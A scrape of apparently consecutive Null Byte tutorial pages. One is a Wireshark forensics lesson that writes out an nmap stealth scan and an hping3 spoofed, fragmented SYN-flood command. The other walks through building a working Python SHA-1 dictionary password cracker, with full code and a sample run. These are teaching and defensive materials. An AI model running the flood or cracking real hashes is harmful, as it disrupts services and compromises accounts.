Miss:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Create an Encrypted Zip Archive in Mac OS X and WindowsHow To:Download Backups of Emails, Photos, Videos & Other Account Data from GoogleHow To:View, Share, Highlight & Download Your Archived Instagram StoriesHow To:Add Your Instagram Stories to Profile Highlights to Keep Them Public ForeverHow To:Encrypt Private Photos & Videos on Your iPhone for Your Eyes OnlyHow To:Remove Pictures from the Main Feed in Google Photos — Without Deleting ThemInstagram 101:How to Archive All Your Stories Automatically for Easy Access LaterHow To:Hide Photos in the Gallery App on Your OnePlus Phone for Extra PrivacyHow To:Encrypt & Hide Files, Photos, & Videos on AndroidHow To:Open .Rar Archive in One ClickHow To:Create a ZIP Archive Using the Files App on Your iPhoneInstagram 101:How to Stop Stories from Being Archived AutomaticallyHow To:Open Zip Files in a Click?Instagram 101:How to Hide Posts from Your Profile Without Deleting ThemHow To:Get CyanogenMod's New Secured Text Messaging Without Rooting or Installing a Custom ROMHow To:Change the Action Bar of Google Keep on Android for Easier Deleting & SharingHow To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersHow To:Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)How To:Add To-Do Lists & Reminders Directly to Your Android Notification TrayHow To:NASA's Secret to Colorful Space Photos from Hubble (Plus How to Create Your Own)How To:Encode Secret Text-Based Messages into Bitmap Images in Windows 8How To:Recover WinRAR and Zip PasswordsSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Display Photos in Your Home Without Any FramesUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Encrypt And Decrypt Text In PythonHow To:Write a Basic Encryption Program Using Java!How To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesHow To:Archive a Video ProjectNews:Simple XOR Text Encryption and Decryption in Visual C#How To:Encrypt Your Sensitive Files Using TrueCryptNews:80's Skate Zine ArchiveHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesNews:Free eBook Resources on Nikola Tesla and His ProjectsHow To:Create an SSH Tunnel Server and Client in LinuxSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Make a Change-of-IP Notifier in Python
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!As I have mentioned many times throughoutthis series, knowing a bit of digital forensics might keep you out of a lot of trouble. In addition, digital forensics is a burgeoning and high paying career. Some knowledge and certifications in this field will likely help you land a Security Engineer position or put you on the Incident Response Team at your employer.Throughout theHack Like a Proseries, we have launched numerous attacks against our targets. In the coming articles in ourDigital Forensicsseries, I'd like to show you what some of those attacks look like from the victim's perspective and how as a digital forensic investigator you would identify them.Why Wireshark Is a Good Forensics ToolAlthough Wireshark is largely used a network analysis tool, it is also an excellent network forensics tool. If we can capture the packets with Wireshark while being attacked, or if we can work while the attack is in progress (such as in an Incident Response Team), we can learn a lot about the attack and the attacker.Step 1: Get the Basic KnowledgeThere are numerous tutorials on how to use Wireshark on the web and evena few in Null Byte(includingan earlier guide in this series on network forensics), so before we begin, I'd ask you to spend a few moments with those tutorials to familiarize yourself with this essential tool.In addition, if you are not familiar with the structure of TCP/IP packets, pleaseread up on that. I have circled the fields of the TCP/IP that we will playing close attention to here. If you aren't familiar with those fields in the IP and the TCP header, you will need to study up on those as well.Step 2: Open Wireshark in KaliBefore we start, I want you to customize Wireshark to show the destination port in the output. So open up Wireshark in Kali and go toPreferences->Columns, then add a "Dest Port (unresolved)" column with the title "Dest Port." Click onApply, thenOK.Step 3: Nmap Scan SignatureLet's start by doingan Nmap scanon the target. Nearly every hacker/attacker does an Nmap scan on their target before attacking. In this way, they can gather information regarding services, ports, OS, and applications running on the target system. Major corporations, government agencies, and other large websites receive thousands of scans per day. Let's see what that would look like from the target's perspective using Wireshark.In this case, let's assume the attacker is being a bit cautious in their scanning. Instead of using a TCP scan that would log their IP address, they are being a bit stealthy byusing a SYN scanthat will not automatically log their IP as no TCP connection is made (these are often referred to stealth or half-open scans). Such a scan command from the attacker's perspective might look like this:kali > nmap -sS -P0 192.168.1.103 -p0-1521When this scan arrives at the destination, it will likely look something like this in Wireshark:Notice that we have repeated packets coming and going from the attacker's IP of 192.168.1.123 to our target system at 192.168.1.103. Also note that each scan is hitting a different port, but not serially. Nmap is designed to scan the ports in pseudo-random order.If we wanted to see only the traffic coming from the attacker's system, we can build a filter that will show only the packets coming from the potential attacker.ip.src ==192.168.1.123We can place this filter in the "Filter" box in Wireshark, as seen below, then clickApply.Now we see only the traffic coming from the scanner. Note that each packet is targeting a different port.If we navigate to the middle pane and expand the TCP header, we will notice that they all have the SYN flag set. Packets with the SYN flag set all coming from the same IP in rapid succession to different ports is the telltale signature of a port scan. Save that IP address, as it is likely to be the IP of your soon-to-be attacker!Step 4: DoS Syn Flood SignatureNext, let's attempt a DoS attack against the target. In this case, we will use ourHping3tool to flood it with SYN packets. Since we don't need a TCP connection to DoS, we can spoof our IP address making it very difficult for an investigator to trace the source of the attack.In addition, many firewalls, intrusion detection systems, and other security devices are designed to blacklist IP addresses that send too many packets within a slice of time. By randomly changing our IP addresses for each packet, it will largely defeat such a security measure.The SYN flood is used to create many uncompleted half connections to the server. The idea here is to use up all the connections in the connection queue so that other legitimate users can't connect to the server. Hping3 does this task admirably.The command the attacker might use looks something like this:kali > hping3 --rand-source -f -S 192.168.1.103 -p80 --floodLet's break this command down a bit:--rand-sourcesends random source IP addresses to the target.-ffragments the packets making it more likely to get past security devices.-Ssends SYN packets to create half-open connections.192.168.1.103is the target IP address.--floodsends packets as fast as possible.When those packets arrive at the target, they will look like this in Wireshark.As you can see in the screenshot above, each packet is coming from a different IP address and all targeting port 80. This is typical DoS attack against a website.Also, take a look at the "Time" column. Notice how little time elapses between each packet—just thousands of a second. This is another signature of a DoS attack and one that many security devices monitor when alerting or acting upon a suspected DoS attack.When you navigate to the middle pane, we can dissect the packet headers. Let's first expand the IP header by clicking on the plus sign next to the IP. When we scroll down a bit, we will see the flags. These are not the flags of the TCP header (S, T, U, P, F, R), but rather the fragment or don't fragment flag. This flag tells the receiving system whether the packet is fragmented or not. It is normally set to "Don't fragment," except when a packet is fragmented (then it is set to "More fragments"). In our case, neither flag is set. This is a telltale sign of malicious traffic, as normal traffic would have either of these flags set, but never neither.Once again, in the middle pane of Wireshark, we can dissect the TCP header and see the destination port is 80 and the TCP flag for all the packets is set to SYN. No ACKs, no RSTs, no FINs, which would be normal, but just all SYNs.Wireshark is an excellent tool for doing network digital forensics if we have the captured packets or the attack is ongoing. Here we have examined and identified signatures of two simple attacks, the port scan and theDoS attack.In future network forensic tutorials, we will examine more complex attacks in order for you to identify them, so keep coming back, by budding hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Become a Computer Forensics Pro with This $29 TrainingHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Five Phases of HackingHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)How To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:How to Use the New p0f 3.0 for OS Fingerprinting & ForensicsHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHack Like a Pro:How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection System)How To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHack Like a Pro:Advanced Nmap for ReconnaissanceHack Like a Pro:An Introduction to Regular Expressions, Part 2Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBNews:Chinese Hack of U.S. Employment Records Reveals the Weakness of Signature-Based Defense SystemsHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Use WebTech to Discover What Technologies a Website UsesHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Map Networks & Connect to Discovered Devices Using Your PhoneHack Like a Pro:How to Conduct Active Reconnaissance on Your Target with hping3Hack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)
How to Use Beginner Python to Build a Brute-Force Tool for SHA-1 Hashes « Null Byte :: WonderHowTo
Developers creating login systems know better than to store passwords in plain text, usually storing hashes of a password to prevent storing the credentials in a way a hacker could steal. Due to the way hashes work, not all are created equal. Some are more vulnerable than others, and a little Python could be used to brute-force any weak hashes to get the passwords they were created from.A Little Bit About HashesHackers often steal entire databases of user login and password data, and because of this, hashes are the preferred way to store sensitive information like passwords.Hashes are different from encryption because they do not store data. Instead, the number that makes up a hash is the result of a calculation run on whatever it is you're hashing, be it a password or an entire file. This is used to ensure that the file you are downloading matches the file you're intending to download or to confirm the password the user entered matches the password they signed up with.Depending on the size of the file or password you're hashing, hashes likeSHA-1orMD5will take fixed blocks of the data you're hashing and run a complex calculation on it block by block until it reaches a final value. This value is a very long number designed to be unique so that one can verify that one file matches another by comparing the hash values. If the hash value is different, then something about the file has been changed.This is great because if the user enters any password other than the one they chose, the hash value will be completely different. Because of this, the developer just needs to store the hash, because any time the user needs to log in, they can just enter the password to create a new hash to compare to the stored one.As an example, I hashednullbyteto the following SHA-1 value. You can create your own SHA-1 hash atsha1-online.comto see for yourself what this looks like.32c0ced56f1fe08583bdb079d85a35a81995018cOne Problem with SHA-1 HashesUnfortunately for developers, not all hashes are created equal for storing passwords. For hashes like SHA-1, there are a few problems that make saving passwords with SHA-1 a less-than-ideal solution.To highlight one, every time you hash the same word with SHA-1, it generates the exact same hash. While this is by design, you can simply take a huge number of guesses and hash them all into SHA-1, and then compare the hashes rapidly to get the password the SHA-1 hash was derived from. Because SHA-1 is designed to be fast, this process takes a very short amount of time, which makes it even easier to brute-force.There are some solutions to this, and one of the most popular is adding a salt. A salt is a string of text that you can add to the password before hashing it. An example would be to add the wordsaltto the passwordnullbyte. While we know the SHA-1 value ofnullbytefrom above, the hash ofnullbytesaltorsaltnullbytewould be totally different. This helps, but if the salt is not per user, then figuring out the salt is not too difficult and you're back to the same problem.How Bcrypt Can Help Make Hashes More SecureA better solution is to add a random salt, and there is a hashing algorithm that was created for storing passwords with exactly this in mind.Bcryptis not only deliberately slow to foil brute-forcing, it also adds a random salt to each hash it generates. As a result, no two bcrypt hashes will be the same, even if they're made from the exact same password. To check a guess against a bcrypt hash, you instead have to use a bcrypt function that takes the password guess and the hash as an argument and returns the result of whether or not they match.To show off how these different hashes work, I wrote some Python to turn any password into a SHA-1, MD5, and bcrypt hash.import hashlib, bcrypt #Demonstrates the difference between two types of hashing, SHA1 and Bcrypt password = input("Input the password to hash\n>") print("\nSHA1:\n") for i in range(3): setpass = bytes(password, 'utf-8') hash_object = hashlib.sha1(setpass) guess_pw = hash_object.hexdigest() print(guess_pw) print("\nMD5:\n") for i in range(3): setpass = bytes(password, 'utf-8') hash_object = hashlib.md5(setpass) guess_pw = hash_object.hexdigest() print(guess_pw) print("\nBCRYPT:\n") for i in range(3): hashed = bcrypt.hashpw(setpass, bcrypt.gensalt(10))As you can see below, the MD5 and SHA-1 hashes are all identical, but the bcrypt hashes change each time they're generated. For developers, bcrypt is clearly the better choice. But if we happen upon a SHA-1 or MD5 hashed password database, how could we actually go about brute-forcing the hash?/Users/skickar/venv/untitled10/bin/python /Users/skickar/Desktop/TestSHA1.py Input the password to hash >nullbyte SHA1: 32c0ced56f1fe08583bdb079d85a35a81995018c 32c0ced56f1fe08583bdb079d85a35a81995018c 32c0ced56f1fe08583bdb079d85a35a81995018c MD5: 5f804b61f8dcf70044ad8c1385e946a8 5f804b61f8dcf70044ad8c1385e946a8 5f804b61f8dcf70044ad8c1385e946a8 BCRYPT: b'$2b$10$Z1WVDUi50fmqyrpw19rIyOLPIKVUFeh7HO0FfQi1MbKjyxyduG2WS' b'$2b$10$F.vehMYSUh/6zmTR/VY2quTnPfzPDcIdHTfZpb8twqjRIIIEFcbUW' b'$2b$10$pZyptPPDHrnIgpU7wTW2nu4cfGAUS65kcGZb6FMC7KmYwJmuwSoLO'Building a Python3 Program to Brute-Force SHA-1Part of growing up as a hacker is learning to write your own tools. At first, your tools will be simple and solve small problems, but as you gain experience, you'll be able to achieve more and more. When you're getting started, programming languages like C++ that are strongly typed can be difficult for beginners to understand, but Python3 is a flexible and beginner-friendly language that lets us abstract ideas and build prototypes with ease.The simple program we'll write today will help practice the way a hacker creates a tool to exploit a vulnerability. In this example, SHA-1 is vulnerable to brute-forcing because you can compare two hashes together, so we'll write a program to do exactly that.To write any program, you'll need to write out the steps that your program needs to follow in order to succeed. This list might seem a little long, but it can be condensed and you should be as specific as you can for the way things need to work in order to get the output you want. I prefer to use whiteboards or online flow-chart makers likeMindMuppto draw the way these programs should flow from start to finish.When you have your steps laid out, you can start jumping into pseudocode, which is where you lay down the steps in the order in a way that is readable but getting closer to the way the code would actually be expressed. With this pseudocode written, you can start to fill in your code line by line, correcting for mistakes as they happen, and watch each step of your program begin to take shape and interact with each other.What You'll Need to ContinueTo follow this guide, you'll need a computer with Python3 to work on. Python3 has a number of differences from the previous version of Python, so you should be sure to get the correct version. You can install Python3 in a number of ways. In Linux, you can type the following to install Python3.apt install python3You will need a Python3 IDE (integrated development environment). These are programs that will help you write, test, and experiment with your code. In particular, I recommendPyCharm from Jetbrains. In addition, the professional edition is available free of charge to students, which is absolutely worth it if you happen to be eligible.Don't Miss:The Principles & Technologies Needed for Cracking PasswordsFor everything to work properly, we'll need to import some libraries. We'll be using theurllib,urlopen, andhashliblibraries for this code to be able to open files from a remote URL and hash password guesses into SHA-1. To include them, create a new Python3 file in your IDE and type the following into the first line.from urllib.request import urlopen, hashlibThis will import the libraries needed, ensuring the rest of the program has access to these libraries. If you need to install any of these libraries on your computer to run this script, you can generally do so withpip installand then the name of the library you need.To follow along, you can download the Python programs I wrote for this example. To do so, open a terminal window and type the following three commands to download the scripts,change into its directory, andlist the filesin it.git clone https://gitlab.com/skickar/SHA1cracker cd SHA1cracker lsStep 1: Get the SHA-1 Hash from the UserFor the first command, we'll need to get the hash we want to crack from the user. To do this, we can use theinputfunction, which will display a prompt to the user and allow them to enter a response.In Python, we can store this response in a variable without doing anything beforehand. This is because Python isn't like C++, which requires that you to declare everything at the beginning. We can just create variables to hold data we want as we go.We'll name our variablesha1hashbecause we will be storing an SHA-1 hash inside of it. We can just type that to create the variable, and then we'll need to assign the user's response to fill that variable. In Python, the equals (=) symbol does not mean it's comparing something to see if it is equal. That's actually done with two equals signs (==) instead. The equals symbol is more of a command in Python, the variable to the left is being assigned the data on the right of the equals sign.We'll be assigning whatever the user types, so we'll call theinputfunction, which also allows us to put the text that appears to the user inside two parentheses. To tell Python we want to print a string, or a collection of characters, we'll enclose whatever we're typing in quotation marks as well. The end result should look like this:sha1hash = input("Please input the hash to crack.\n>")When we run this, a prompt will appear that says "Please input the hash to crack." After this, we see a "new line" symbol, which is a backslash (\) and ann. This means to jump to a new line. Last, I put a>symbol just so the user can type their response on a new line. When we run the file, NBspecial.py, the result looks like this.Dell:SHA1cracker skickar$ Dell:SHA1cracker skickar$ python3 NBspecial.py Please input the hash to crack >_Once the user inputs a hash, it is saved in thesha1hashvariable for use later in the program.Step 2: Open a File Full of Password GuessesNext, we want to open a list of many common passwords. We'll be using a list of the 10,000 most common passwords for our example, which is a plain text file hosted on GitHub. You can use other lists, such asleaked passwords onlineorones made with the MentalistorCrunch.Don't Miss:Use Leaked Password Databases to Create Brute-Force WordlistsFor the file we're using, we'll be again assigning it to a variable, this time calledLIST_OF_COMMON_PASSWORDS. To open the file, we'll be using a function calledurlopen, which allows us to easily open this text file and tell Python the correct type of encoding. Use the format below.urlopen('TheURLYouWantToOpen').read()This will open the URL enclosed in quotes with thereadmethod, meaning we want to read text from the file. To make sure thestr()function knows what it's working with, we'll also add a command and'utf-8'after this function to tell the program we are using UTF-8 text encoding.We'll again be saving the data as a string, and to prevent any problems with doing so, we can make sure the data we're putting into the variable is a string by first "casting" it to a string. This means trying to change the data to another type, and it can be done to convert integers to strings, strings to bytes, and any other sort of data type you want. To do this, we'll typestr()and then include the data we want to turn into a string inside the parentheses. The final result should look like below.LIST_OF_COMMON_PASSWORDS = str(urlopen('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt').read(), 'utf-8')In this line, we open the text file we selected from a remote URL, encode it as a UTF-8 text file, and then save that data to a string called LIST_OF_COMMON_PASSWORDS.Step 3: Take a Guess from the List of PasswordsNow, we'll need to solve an interesting problem. While we know there are 10,000 passwords in the text file, the program has no idea how many to expect, so we will need to create some code to run once for every guess in the password file.Don't Miss:How to Develop a Good Password Cracking Strategy)To do this, we'll use a structure called aforloop. Aforloop is a very basic concept in programming and looks something like this:for [an individual guess] in [the variable that guess is in]: [do this]What this means is that for the number of guesses in the variable we created to hold all of the guesses in the last step (in this case 10,000), we'll do the action that follows. In practice, this means we'll grab a guess from the list of guesses, do whatever action, and then jump back up to grab the next guess until we run out of new guesses to try.We can name the variable that holds each guess whatever we want, but for clarity, I named itguess. It would work to just sayfor x in LIST_OF_COMMON_PASSWORDSjust as well.The final problem we'll need to solve is to tell the program how to break up the big long list of passwords into individual password guesses. The password list we're using separates passwords by a new line, so we can use thenew linecharacter to splitLIST_OF_COMMON_PASSWORDSinto individual guesses.To put this in action, we can add.split()to the end of theLIST_OF_COMMON_PASSWORDSvariable and put the code for a new line (which is'\n') into the parentheses. The end result looks like below.for guess in LIST_OF_COMMON_PASSWORDS.split('\n'):This code will grab a password, stopping at the end of the line, from the LIST_OF_COMMON_PASSWORDS variable we created earlier. It will run for as many times as there are passwords in the list, unless we tell it to behave differently in the next steps.Step 4: Hash the Guess We Took from the Password ListHere, we will need to create a new variable to hold a hashed version of the password guess we pulled from the list. When we do this, it should create an identical hash if we use the same password that was used to create the hash supplied by the user in the first step. If it matches in the next step, we'll know we found the password.We'll name the variable to hold the hashed version of the guesshashedGuess. Next, we'll need to do some prep work before we're able to hash the guess we pulled from the password list. To cast the string variable we have calledguessinto a bytes object. This is necessairy because the SHA-1 function only works on bytes objects, not strings.Fortunately, it's easy to cast a string into bytes. We can do this the same general way we cast the user input in the first step into a string. The formula looks like the following. In this case, we'll be castingguessinto bytes, and the text encoding is UTF-8.bytes(StringToTurnIntoBytes, 'EncodingOfString')Now that we have the bytes version ofguess, we can turn it into a SHA-1 hash by using the following code.hashlib.sha1(BytesToHash).hexdigest()So what is this doing? We're calling the SHA-1 hash from the hashlib function and hashing the bytes variable we put inside the parentheses. Because of the way SHA-1 works, we could keep adding stuff to it, but to print the current value of the SHA-1 hash, we add.hexidigest()to the end.In the final code, we'll assign the value of the hashed guess to the variableHashedGuess.hashedGuess = hashlib.sha1(bytes(guess, 'utf-8')).hexdigest()Now that we have the password guess saved as a hash, we can compare this guess to the original SHA-1 hash to crack directly.Step 5: Compare the Hashed Password to the Original HashIn this step, we'll need to tell the program what to do if the hash matches. To do this, we'll use a simple statement called anifstatement.Anifstatement works somewhat like aforstatement, but checks a condition to see if it's true before executing the next part of code. If the condition is true, you can tell the program to take one action, and if it is false, to take another action instead.The general formula for anifstatement in Python is as follows.if [some condition to check is true]: [do whatever this code says to do]For our use-case, we want to determine if the hashed guess matches the origional hash the user gave us, so we can use the==sign to determine if they are equal. The statement we want to evaluate is whetherhashesGuessequalssha1hash, the variable we're keeping the original hash in. In our code, that is a simple statement.if hashedGuess == sha1hash:Now that we've set up this comparison, we'll have to explain to the program what to do in three circumstances we're expecting: a match, no match, or no more passwords in the list to guess.Step 6: Set the Conditional LogicIn this step, we'll explain what to do if the hashes match or don't match. Because the previous statement asks what to do if these two are equal, our first instruction will be for what to do if the hash of the password guess matches the original password.If this is the case, we have found the password, and the correct thing to do is print out the correct password and quit the program. If we don't quit, the loop will continue even though we've found the password that matches the SHA-1 hash. To do so, we can just type the following.print("The password is ", str(guess))This prints everything within the quotes, and then adds the string version of the current password that's been successfully guessed. It's important we're printing theguessvariable and not thehashedGuessvariable, since thehashedGuessversion will just give us another SHA-1 hash. In this case, we also cast that variable to a string so Python can print it nicely without an error. After this is printed, we simply includequit()to close the program, because we've got the password!Don't Miss:How to Crack Passwords Fast Using HashcatIf thehashedGuessandsha1hashvariable do not match, we will need to explain what to do. We can add this part of the statement with anelifstatement.Elif, or "else if," tells the program what to do if a different condition is true. Our next statement to test in this case is as follows.hashedGuess != sha1hashThis statement asks if the two variables are not equal, shown with the!=symbol. If this is true, or in other words, if the two hashes are not equal and the password guess is wrong, we'll need to tell the user that the guess failed, and then go back to the top of the loop to grab a new password.To do this, we'll do the same thing we did before and simply use theprint()function to print out a message. In this message, we'll say:"Password guess", [guess], "does not match, trying next...". The end result should look like the code below.print("The password is ", str(guess)) quit() elif hashedGuess != sha1hash: print("Password guess ",str(guess)," does not match, trying next...")This code explains what to do if the guess is correct, and what to do if the guesses do not match, but what if we don't find a match at all? Rather than just quitting, we can give the user some more information if we determine we've exhausted our list of passwords and there are no more guesses to try.Step 7: Tell the Program What to Do if There Is No MatchIf we go all the way through this loop and find no matches, the loop will end because there will be nothing further to grab from the list of password guesses. We'll let the user know we've not been successful rather than just exiting the program abruptly by placing aprintstatement just outside the loop. This way, if the password is found, the finalprintfunction will never execute because of thequit()function we added earlier to end the program when we get the right password.So how do we put this statement outside the loop? In Python, whitespace matters, so we can put it on a new line and simply not indent it, as seen in the example below.for guess in LIST_OF_COMMON_PASSWORDS.split('\n'): hashedGuess = hashlib.sha1(bytes(guess, 'utf-8')).hexdigest() if hashedGuess == sha1hash: print("The password is ", str(guess)) quit() elif hashedGuess != sha1hash: print("Password guess ",str(guess)," does not match, trying next...") print("Password not in database, we'll get them next time.")Python would execute first theforloop, then evaluate theifandelifstatements, and only if the loop ended would execute the finalprintfunction, because it is outside theforloop.Thisprintfunction is simple and contains no variables, just a string to let the user know that we did not find a matching password in the list.print("Password not in database, we'll get them next time.")With this last line, we have a fully functional SHA-1 brute-forcing program, so let's run it! First, we get a prompt asking for the SHA-1 hash to crack. I'll give it the hashcbfdac6008f9cab4083784cbd1874f76618d2a97to test it.Dell:SHA1cracker skickar$ python3 NBspecial.py Please input the hash to crack. >cbfdac6008f9cab4083784cbd1874f76618d2a97After pressingreturn, the script begins to work.Password guess 171717 does not match, trying next... Password guess panzer does not match, trying next... Password guess lincoln does not match, trying next... Password guess katana does not match, trying next... Password guess firebird does not match, trying next... Password guess blizzard does not match, trying next... Password guess a1b2c3d4 does not match, trying next... Password guess white does not match, trying next... Password guess sterling does not match, trying next... Password guess redhead does not match, trying next... The password is password123 Dell:SHA1cracker skickar$ _And just like that, we've found the password that was used to create a hash, allowing us to reverse the "one way" SHA-1 hash.Python Is Fun & Powerful, Let's Shorten ItWith some simple Python3 knowledge, we were able to write a simple script to find the password a hash was derived from in only 11 lines. You can see the entire code without comments below. With some clever formatting of our Python, we can make this more compact (but much more difficult to read or understand) and execute all of this with only three lines of code.from urllib.request import urlopen, hashlib sha1hash = input("Please input the hash to crack.\n>") LIST_OF_COMMON_PASSWORDS = str(urlopen('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt').read(), 'utf-8') for guess in LIST_OF_COMMON_PASSWORDS.split('\n'): hashedGuess = hashlib.sha1(bytes(guess, 'utf-8')).hexdigest() if hashedGuess == sha1hash: print("The password is ", str(guess)) quit() elif hashedGuess != sha1hash: print("Password guess ",str(guess)," does not match, trying next...") print("Password not in database, we'll get them next time.")This is possible by getting the hash to crack on the same line we use to import libraries and by condensing theforandifstatements into one line with something called a ternary operator. In general, the format for these is the following and can be added on to for as long as needed.<expression1> if <condition1> else <expression2> if <condition2>In our script, the format we will use is this:<password match response> if <hashes match> else <password not in dictionary response> if <password is empty> else <password does not match response>After applying these changes, we can condense our code like the example below.from urllib.request import urlopen, hashlib; origin = input("Input SHA1 hash to crack\n>") for password in str(urlopen('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt').read(), 'utf-8').split('\n'): [print("The password is ", str(password)), quit()] if (hashlib.sha1(bytes(password, 'utf-8')).hexdigest()) == origin else print("Password not in database, we'll get them next time.") if password == "" else print("Password guess ", str(password), " does not match, trying next...")While this is horrible for someone new to Python to understand without comments, Python can be condensed from a rough idea to a few concise lines of code simply by working through the program and looking for shortcuts.If you wanted to get this to one line, you could simply wrap it in anexec()function and add new line(\n)characters for each new line break. Why you would do this, I'm not sure, but it's useful to be able to condense programs when needed.I hope you enjoyed this beginner guide to writing your own SHA-1 brute-forcer in Python! If you have any questions about this tutorial or basic Python3 programming, feel free to leave a comment below or reach me on [email protected]'t Miss:All of Null Byte's Password-Cracking GuidesFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Automate Brute-Force Attacks for Nmap ScansHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Brute-Force Nearly Any Website Login with HatchHow To:Use SHA-256 Hash to Verify Your Downloads Haven't Been ModifiedHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Parallel Programming with OpenMP: Building a SHA-512 Password CrackerHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Break into Router Gateways with PatatorHow To:Build a Directory Brute Forcing Tool in PythonHow To:Make a Python Basic Unix Password Cracker!How To:Create Custom Wordlists for Password Cracking Using the MentalistHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:Hack Mac OS X Lion PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsNews:Learning Python 3.x as I go (Last Updated 6/72012)News:Advanced Cracking Techniques, Part 2: Intelligent Bruteforcing
Hacker Fundamentals: A Tale of Two Standards « Null Byte :: WonderHowTo
